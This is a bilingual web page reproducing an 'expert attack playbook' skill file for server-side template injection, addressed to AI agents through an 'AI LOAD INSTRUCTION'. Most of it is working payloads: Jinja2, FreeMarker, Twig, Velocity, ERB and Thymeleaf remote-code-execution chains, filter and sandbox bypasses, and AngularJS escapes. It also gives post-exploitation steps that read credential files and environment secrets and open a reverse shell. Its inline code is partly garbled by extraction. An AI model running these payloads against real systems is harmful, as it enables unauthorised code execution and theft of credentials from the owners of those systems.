ssti-server-side-template-injection
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseSKILL: Server-Side Template Injection (SSTI) — Expert Attack Playbook
技能:服务端模板注入(SSTI)—— 专家级攻击手册
AI LOAD INSTRUCTION: Expert SSTI techniques. Covers polyglot detection probes, engine fingerprinting, Jinja2/FreeMarker/Twig/ERB RCE chains, client-side Angular SSTI, and bypass techniques. Base models often miss sandbox escape MRO chains and non-Jinja2 engines. For PHP CMS template eval, Jira SSTI, Confluence OGNL, and Spring Cloud Gateway SpEL, load the companion SCENARIOS.md.
AI加载说明:专家级SSTI技术,覆盖多语言检测探针、引擎指纹识别、Jinja2/FreeMarker/Twig/ERB远程代码执行链、客户端Angular SSTI以及绕过技术。基础模型通常会遗漏沙箱逃逸MRO链和非Jinja2引擎的相关利用方式。针对PHP CMS模板eval、Jira SSTI、Confluence OGNL以及Spring Cloud Gateway SpEL相关场景,请加载配套的SCENARIOS.md。
0. RELATED ROUTING
0. 相关路径指引
Before using full engine-specific exploitation, you can first load:
- 先直接使用本文件开头的 polyglot probe sequence 做低噪声指纹判断
- expression-language-injection when or
${7*7}resolves in Java (SpEL/OGNL) — different attack surface from template engines%{7*7}
在使用完整的引擎专属利用方式之前,你可以先加载:
- 先直接使用本文件开头的polyglot probe sequence做低噪声指纹判断
- 当或
${7*7}在Java(SpEL/OGNL)中被解析时,使用表达式语言注入——这类攻击面和模板引擎不同%{7*7}
Extended Scenarios
扩展场景
Also load SCENARIOS.md when you need:
- Maccms 8.x PHP template —
evalin{if-A:phpinfo()}{endif-A}, base64 bypass for webshell writevod-search - Jira CVE-2019-11581 — "Contact Administrators" form → Velocity template injection → command output in admin email
- Spring Cloud Gateway SpEL (CVE-2022-22947) — actuator route injection with for output capture
StreamUtils.copyToByteArray - Struts2 OGNL S2-045 (CVE-2017-5638) — Content-Type header OGNL injection with /
_memberAccessblacklist clearOgnlUtil - Confluence OGNL CVE-2021-26084 — with
createpage-entervariables.actionunicode bypass\u0027 - SSTI vs EL injection disambiguation guide
- Additional template engines: ASP.NET Razor, Elixir EEx, PHP Smarty/Latte/Blade, JS Pug/Handlebars/Nunjucks/EJS/Lodash + universal detection + blind SSTI + Flask PIN calculation
SCENARIOS.md reference (§7–§11): For expanded payloads and engine-specific notes on Razor, EEx/LEEx/HEEx, PHP stacks, JavaScript template engines, the universal polyglot probe, mathematical fingerprinting, blind SSTI (boolean / time / OOB), and Flask debug PIN prerequisites, see SCENARIOS.md. This skill keeps a short checklist in §13–§15.
当你需要以下场景的利用方式时,也请加载SCENARIOS.md:
- Maccms 8.x PHP模板——
eval接口中的vod-searchpayload,base64绕过写入webshell{if-A:phpinfo()}{endif-A} - Jira CVE-2019-11581 —— "联系管理员"表单 → Velocity模板注入 → 命令输出出现在管理员邮件中
- Spring Cloud Gateway SpEL(CVE-2022-22947)—— actuator路由注入,使用捕获输出
StreamUtils.copyToByteArray - Struts2 OGNL S2-045(CVE-2017-5638)—— Content-Type头OGNL注入,清除/
_memberAccess黑名单OgnlUtil - Confluence OGNL CVE-2021-26084 —— 接口使用
createpage-entervariables.actionUnicode绕过\u0027 - SSTI和EL注入的区分指南
- 额外的模板引擎支持:ASP.NET Razor、Elixir EEx、PHP Smarty/Latte/Blade、JS Pug/Handlebars/Nunjucks/EJS/Lodash + 通用检测 + 盲注SSTI + Flask PIN计算
SCENARIOS.md参考(第7-11节):如需Razor、EEx/LEEx/HEEx、PHP技术栈、JavaScript模板引擎的扩展payload和引擎专属说明,通用多语言探针、数学指纹识别、盲注SSTI(布尔/时间/带外)以及Flask调试PIN前置条件,请查看SCENARIOS.md。本技能在第13-15节保留了精简的检查清单。
Universal detection & blind SSTI (pointer)
通用检测与盲注SSTI(指引)
Use the polyglot payload and math probes in §1 and §13 first; when you need fuller blind-test patterns and per-engine examples (including non-Python stacks), follow SCENARIOS.md §11 and cross-check §14 here for technique names (boolean, time, OOB, error-based).
优先使用第1节和第13节中的多语言payload和数学探针;当你需要更完整的盲注测试模式和各引擎示例(包括非Python技术栈),请参考SCENARIOS.md第11节,并对照本文第14节的技术名称(布尔、时间、带外、基于错误)交叉验证。
1. DETECTION — POLYGLOT PROBE SEQUENCE
1. 检测——多语言探针序列
First test: distinguish SSTI from XSS. Send these probes and check if math is evaluated server-side:
{{7*7}} → IF returns 49 (not {{7*7}}) → Jinja2 or Twig
${7*7} → IF returns 49 → FreeMarker, Velocity, or Java EL
#{7*7} → Ruby (ERB interpolation in strings)
<#assign x=7*7>${x} → FreeMarker
@{7*7} → Thymeleaf
*{7*7} → Thymeleaf SpEL (*{...})Jinja2 vs Twig disambiguation:
{{7*'7'}}
→ 7777777 = Jinja2 (Python string multiplication)
→ 49 = Twig (PHP numeric)Safe detection probe (no math, just boolean):
{{''.__class__}} → class 'str' = Python/Jinja2第一步测试:区分SSTI和XSS。发送以下探针,检查服务端是否执行了数学运算:
{{7*7}} → 如果返回49(而不是{{7*7}})→ Jinja2或Twig
${7*7} → 如果返回49 → FreeMarker、Velocity或Java EL
#{7*7} → Ruby(字符串中的ERB插值)
<#assign x=7*7>${x} → FreeMarker
@{7*7} → Thymeleaf
*{7*7} → Thymeleaf SpEL (*{...})Jinja2和Twig区分方法:
{{7*'7'}}
→ 7777777 = Jinja2(Python字符串乘法)
→ 49 = Twig(PHP数值运算)安全检测探针(无数学运算,仅布尔判断):
{{''.__class__}} → 返回class 'str' = Python/Jinja22. ENGINE-TO-LANGUAGE MAPPING
2. 引擎-编程语言映射表
| Template Engine | Language | Framework |
|---|---|---|
| Jinja2 | Python | Flask, FastAPI |
| Django Templates | Python | Django |
| Mako | Python | Pyramid |
| Twig | PHP | Symfony, Laravel |
| Smarty | PHP | Various |
| FreeMarker | Java | Spring MVC |
| Velocity | Java | Various Java |
| Pebble | Java | Various Java |
| Thymeleaf | Java | Spring Boot |
| ERB | Ruby | Rails |
| Slim / Haml | Ruby | Rails |
| Jade / Pug | Node.js | Express |
| Handlebars | Node.js | Express |
| Tornado | Python | Tornado |
Identifying language from errors → then narrow to template engine.
| 模板引擎 | 编程语言 | 框架 |
|---|---|---|
| Jinja2 | Python | Flask, FastAPI |
| Django Templates | Python | Django |
| Mako | Python | Pyramid |
| Twig | PHP | Symfony, Laravel |
| Smarty | PHP | 各类PHP框架 |
| FreeMarker | Java | Spring MVC |
| Velocity | Java | 各类Java框架 |
| Pebble | Java | 各类Java框架 |
| Thymeleaf | Java | Spring Boot |
| ERB | Ruby | Rails |
| Slim / Haml | Ruby | Rails |
| Jade / Pug | Node.js | Express |
| Handlebars | Node.js | Express |
| Tornado | Python | Tornado |
通过错误信息识别编程语言 → 再缩小范围到具体模板引擎。
3. JINJA2 (PYTHON FLASK) — RCE CHAINS
3. JINJA2(PYTHON FLASK)—— 远程代码执行链
Chain 1: os
module via __globals__
os__globals__利用链1:通过__globals__
调用os
模块
__globals__ospython
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}python
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}Chain 2: MRO subclass traversal (sandbox escape)
利用链2:MRO子类遍历(沙箱逃逸)
python
undefinedpython
undefinedList all subclasses:
列出所有子类:
{{''.class.mro[1].subclasses()}}
{{''.class.mro[1].subclasses()}}
Find subprocess.Popen index (usually around 258-270, varies by Python version):
找到subprocess.Popen的索引(通常在258-270之间,随Python版本变化):
Look for "subprocess.Popen" in the list
在列表中查找"subprocess.Popen"
Execute command (replace [258] with correct index):
执行命令(将[258]替换为正确的索引):
{{''.class.mro[1].subclasses()[258]('id', shell=True, stdout=-1).communicate()[0]}}
undefined{{''.class.mro[1].subclasses()[258]('id', shell=True, stdout=-1).communicate()[0]}}
undefinedChain 3: request
object globals (works when config
blocked)
requestconfig利用链3:request
对象全局变量(当config
被拦截时可用)
requestconfigpython
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}(Uses hex encoding to avoid filtering)
_python
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}(使用十六进制编码避免被过滤)
_Chain 4: lipsum
function globals (Flask built-in)
lipsum利用链4:lipsum
函数全局变量(Flask内置)
lipsumpython
{{lipsum.__globals__.os.popen('id').read()}}python
{{lipsum.__globals__.os.popen('id').read()}}Chain 5: cycler
object
cycler利用链5:cycler
对象
cyclerpython
{{cycler.__init__.__globals__.os.popen('id').read()}}python
{{cycler.__init__.__globals__.os.popen('id').read()}}Finding correct subprocess index dynamically:
动态查找正确的subprocess索引:
python
undefinedpython
undefinedIn injection:
注入时使用:
{% for c in ''.class.mro[1].subclasses() %}
{% if 'Popen' in c.name %}
{{loop.index}}
{% endif %}
{% endfor %}
---{% for c in ''.class.mro[1].subclasses() %}
{% if 'Popen' in c.name %}
{{loop.index}}
{% endif %}
{% endfor %}
---4. JINJA2 SANDBOX BYPASS TECHNIQUES
4. JINJA2沙箱绕过技术
When _
(underscore) is blocked:
_当_
(下划线)被拦截时:
_python
undefinedpython
undefinedUse attr filter with hex encoding:
配合hex编码使用attr过滤器:
''|attr('\x5f\x5fclass\x5f\x5f')
''|attr('\x5f\x5fclass\x5f\x5f')
Use getattr via request object:
通过request对象调用getattr:
request|attr('args')|attr('class')
undefinedrequest|attr('args')|attr('class')
undefinedWhen .
(dot) is blocked:
.当.
(点)被拦截时:
.python
undefinedpython
undefinedUse [] subscript notation:
使用[]下标表示法:
''['class']
config['SECRET_KEY']
undefined''['class']
config['SECRET_KEY']
undefinedWhen keywords (class, mro) are blocked:
当关键词(class、mro)被拦截时:
Use hex/unicode in :
attr()python
|attr('\x5f\x5fclass\x5f\x5f')
|attr('\x5f\x5fm\x72\x6F\x5f\x5f')在中使用十六进制/Unicode编码:
attr()python
|attr('\x5f\x5fclass\x5f\x5f')
|attr('\x5f\x5fm\x72\x6F\x5f\x5f')When output encoding strips HTML entities:
当输出编码会剥离HTML实体时:
Use filter to prevent auto-escaping.
|safe使用过滤器避免自动转义。
|safe5. FREEMARKER (JAVA) — RCE
5. FREEMARKER(JAVA)—— 远程代码执行
Execute Command via freemarker.template.utility.Execute
通过freemarker.template.utility.Execute执行命令
freemarker
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("id")}freemarker
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("id")}Alternative via ObjectConstructor:
通过ObjectConstructor的替代方案:
freemarker
<#assign ob="freemarker.template.utility.ObjectConstructor"?new()>
<#assign br=ob("java.io.BufferedReader",ob("java.io.InputStreamReader",ob("java.lang.Runtime")?api.exec("id").inputStream))>
${br.readLine()}freemarker
<#assign ob="freemarker.template.utility.ObjectConstructor"?new()>
<#assign br=ob("java.io.BufferedReader",ob("java.io.InputStreamReader",ob("java.lang.Runtime")?api.exec("id").inputStream))>
${br.readLine()}6. TWIG (PHP) — RCE
6. TWIG(PHP)—— 远程代码执行
php
// Twig 1.x (before sandbox):
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}
// Twig 2.x using built-ins:
{{['id']|map('system')|join}}
// via filter map:
{{app.request.server.all|join(',')}}php
// Twig 1.x(沙箱关闭前的版本):
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}
// Twig 2.x使用内置函数:
{{['id']|map('system')|join}}
// 通过filter map实现:
{{app.request.server.all|join(',')}}7. VELOCITY (JAVA) — RCE
7. VELOCITY(JAVA)—— 远程代码执行
velocity
#set($str=$class.inspect("java.lang.Runtime").method.invoke($class.inspect("java.lang.Runtime").type, null))
#set($run=$str.exec("id"))
#set($out=$run.inputStream)Or more directly:
velocity
#set($class=$currentNode.getClass())
#set($rt=$class.forName("java.lang.Runtime"))
#set($proc=$rt.getMethod("exec",$class.forName("java.lang.String")).invoke($rt.getMethod("getRuntime").invoke(null),"id"))velocity
#set($str=$class.inspect("java.lang.Runtime").method.invoke($class.inspect("java.lang.Runtime").type, null))
#set($run=$str.exec("id"))
#set($out=$run.inputStream)更直接的写法:
velocity
#set($class=$currentNode.getClass())
#set($rt=$class.forName("java.lang.Runtime"))
#set($proc=$rt.getMethod("exec",$class.forName("java.lang.String")).invoke($rt.getMethod("getRuntime").invoke(null),"id"))8. ERB (RUBY RAILS) — RCE
8. ERB(RUBY RAILS)—— 远程代码执行
ruby
<%= system('id') %>
<%= `id` %>
<%= IO.popen('id').read %>
<%= File.read('/etc/passwd') %>ruby
<%= system('id') %>
<%= `id` %>
<%= IO.popen('id').read %>
<%= File.read('/etc/passwd') %>9. THYMELEAF (JAVA SPRING) — RCE
9. THYMELEAF(JAVA SPRING)—— 远程代码执行
Thymeleaf with Spring EL (SpEL):
java
// In th:text or th:fragment context:
__${T(java.lang.Runtime).getRuntime().exec("id")}__::type
// Fragment expression context:
__${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/sh","-c","id"}).getInputStream())}__::type配合Spring EL(SpEL)的Thymeleaf利用:
java
// 在th:text或th:fragment上下文中:
__${T(java.lang.Runtime).getRuntime().exec("id")}__::type
// 片段表达式上下文:
__${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/sh","-c","id"}).getInputStream())}__::type10. CLIENT-SIDE TEMPLATE INJECTION (AngularJS)
10. 客户端模板注入(AngularJS)
When AngularJS is used client-side and user data flows into template expressions:
javascript
// AngularJS 1.x sandbox escape:
{{constructor.constructor('alert(1)')()}}
// 1.5.x:
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}
// 1.3.x:
{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}Detection: send — if page shows , AngularJS evaluates expressions in the DOM.
{{1+1}}2当客户端使用AngularJS且用户数据会流入模板表达式时:
javascript
// AngularJS 1.x沙箱逃逸:
{{constructor.constructor('alert(1)')()}}
// 1.5.x版本:
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}
// 1.3.x版本:
{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}检测方法: 发送 —— 如果页面显示,说明AngularJS会在DOM中执行表达式。
{{1+1}}211. SSTI → FULL RCE PATH
11. SSTI到完整远程代码执行的路径
SSTI detected → identify engine
├── Jinja2 → config.__globals__['os'].popen()
│ OR subclass traversal for Popen
├── FreeMarker → freemarker.template.utility.Execute?new()
├── Twig → _self.env.registerUndefinedFilterCallback('exec')
├── Velocity → java.lang.Runtime.exec()
├── ERB → <%= `cmd` %>
├── Thymeleaf → T(java.lang.Runtime).getRuntime().exec()
└── Angular CSTI → constructor.constructor('payload')()Post-RCE pivot:
- Read — env vars with credentials
/proc/self/environ - Read application config files — DB passwords, API keys
- — cloud credentials
cat ~/.aws/credentials - Reverse shell for persistence
检测到SSTI → 识别引擎
├── Jinja2 → config.__globals__['os'].popen()
│ 或遍历子类查找Popen
├── FreeMarker → freemarker.template.utility.Execute?new()
├── Twig → _self.env.registerUndefinedFilterCallback('exec')
├── Velocity → java.lang.Runtime.exec()
├── ERB → <%= `cmd` %>
├── Thymeleaf → T(java.lang.Runtime).getRuntime().exec()
└── Angular CSTI → constructor.constructor('payload')()远程代码执行后的横向移动:
- 读取—— 包含凭证的环境变量
/proc/self/environ - 读取应用配置文件 —— 数据库密码、API密钥
- —— 云服务凭证
cat ~/.aws/credentials - 反弹shell实现持久化
12. COMMON INJECTION ENTRY POINTS
12. 常见注入入口点
Where user data enters templates:
- URL path:
https://site.com/home?name={{7*7}} - Query parameters:
?message=Hello - HTML forms: profile name, bio, content fields
- Error pages:
404 Not Found: /PAYLOAD - Email templates: name in password reset emails
- Inline template rendering:
render_template_string(user_input)
Most dangerous: in Flask — entire user input used as template.
render_template_string()用户数据进入模板的常见位置:
- URL路径:
https://site.com/home?name={{7*7}} - 查询参数:
?message=Hello - HTML表单: 个人资料名称、简介、内容字段
- 错误页面:
404 Not Found: /PAYLOAD - 邮件模板: 密码重置邮件中的用户名
- 内联模板渲染:
render_template_string(user_input)
最高风险: Flask中的 —— 整个用户输入都会被当作模板执行。
render_template_string()13. UNIVERSAL DETECTION PAYLOADS
13. 通用检测Payload
Polyglot probe that triggers errors or evaluation in many engines:
${{<%[%'"}}%\.Mathematical probes for blind/error confirmation:
{{7*7}} → 49 (Jinja2, Twig, Nunjucks, Handlebars)
${7*7} → 49 (FreeMarker, Velocity, EL, Thymeleaf)
<%= 7*7 %> → 49 (ERB, EJS, EEx)
#{7*7} → 49 (Pug, Ruby interpolation)
@(7*7) → 49 (Razor)
{7*7} → 49 (Smarty)Error-based engine fingerprint (parser/stack traces often name the engine):
(1/0).zxy.zxy可在多数引擎中触发错误或执行的多语言探针:
${{<%[%'"}}%\.用于盲注/错误确认的数学探针:
{{7*7}} → 49 (Jinja2, Twig, Nunjucks, Handlebars)
${7*7} → 49 (FreeMarker, Velocity, EL, Thymeleaf)
<%= 7*7 %> → 49 (ERB, EJS, EEx)
#{7*7} → 49 (Pug, Ruby插值)
@(7*7) → 49 (Razor)
{7*7} → 49 (Smarty)基于错误的引擎指纹识别(解析器/栈轨迹通常会显示引擎名称):
(1/0).zxy.zxy14. BLIND SSTI TECHNIQUES
14. 盲注SSTI技术
- Boolean-based: Compare vs
(3*4/2)— if the first resolves and the second errors, evaluation is likely3*)2(/4 - Time-based: or the engine-specific equivalent for delay
{{sleep(5)}} - OOB: DNS/HTTP callback via template expressions when direct output is not visible
- Error-based: Force different error messages based on true/false conditions
- 布尔型: 对比和
(3*4/2)—— 如果前者正常返回后者报错,很可能存在表达式执行3*)2(/4 - 时间型: 注入或对应引擎的延迟函数实现
{{sleep(5)}} - 带外(OOB): 当无法直接看到输出时,通过模板表达式触发DNS/HTTP回调
- 错误型: 根据true/false条件强制返回不同的错误信息
15. FLASK PIN CALCULATION
15. FLASK PIN计算
When Flask debug mode (Werkzeug debugger) is exposed but PIN-protected, the PIN is derived from host-specific values. Typical inputs for public PIN calculation scripts:
- — from
username(the user running the Flask process)/etc/passwd - Module name — often or
flask.appFlask - Application path — or the real main filename
app.py - MAC address — e.g. , converted to decimal as Werkzeug expects
/sys/class/net/eth0/address - Machine ID — , or
/etc/machine-idcombined with the first line of/proc/sys/kernel/random/boot_idper Werkzeug’s algorithm/proc/self/cgroup - Compute PIN — use established open-source PIN calculators that implement the same algorithm from these values
Use only on systems you are authorized to test; obtaining these values implies prior access or an additional info-disclosure vector.
当Flask调试模式(Werkzeug调试器)对外暴露但受PIN保护时,PIN是由主机特定值生成的。公开PIN计算脚本的典型输入参数:
- —— 来自
username(运行Flask进程的用户)/etc/passwd - 模块名称 —— 通常是或
flask.appFlask - 应用路径 —— 或实际的主程序文件名
app.py - MAC地址 —— 例如,按Werkzeug要求转换为十进制
/sys/class/net/eth0/address - 机器ID —— ,或
/etc/machine-id结合/proc/sys/kernel/random/boot_id的第一行,按Werkzeug算法拼接/proc/self/cgroup - 计算PIN —— 使用成熟的开源PIN计算器,其实现了和Werkzeug相同的生成算法
仅在你获得授权的系统上使用本技术;获取这些值意味着你已经有了前置访问权限或额外的信息泄露漏洞。